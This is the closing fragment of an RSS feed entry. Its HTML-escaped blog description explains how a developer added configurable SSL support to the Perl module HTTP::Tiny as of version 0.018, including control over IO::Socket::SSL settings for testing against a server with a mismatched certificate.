				<description>&lt;p&gt;I was asked to add SSL support to a client library, while also moving from home-grown manual HTTP code to a proper module. &lt;a href=&#34;https://metacpan.org/module/HTTP::Tiny&#34;&gt;&lt;code&gt;HTTP::Tiny&lt;/code&gt;&lt;/a&gt; was ideal because it is pure-Perl, a core module since 5.14 (so it&amp;rsquo;ll be maintained), and it&amp;rsquo;s just one .pm file, making it easy to ship.&lt;/p&gt;&#xA;&lt;p&gt;An application server that supported SSL was provided for testing purposes, but the SSL certificate didn&amp;rsquo;t match the hostname &amp;ndash; &lt;code&gt;HTTP::Tiny&lt;/code&gt; correctly rejected connections. I needed to be able to control the settings sent to the underlying &lt;code&gt;IO::Socket::SSL&lt;/code&gt; object used for the encrypted connection so I could turn off security features for testing. As I worked on that, David Golden offered invaluable feedback, which greatly improved the design of the features added to &lt;code&gt;HTTP::Tiny&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;As of &lt;a href=&#34;https://metacpan.org/module/HTTP::Tiny#SSL-SUPPORT&#34;&gt;0.018&lt;/a&gt;, &lt;code&gt;HTTP::Tiny&lt;/code&gt; is more configurable, and has a simple interface for &lt;em&gt;easily&lt;/em&gt; making SSL connections more secure.&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
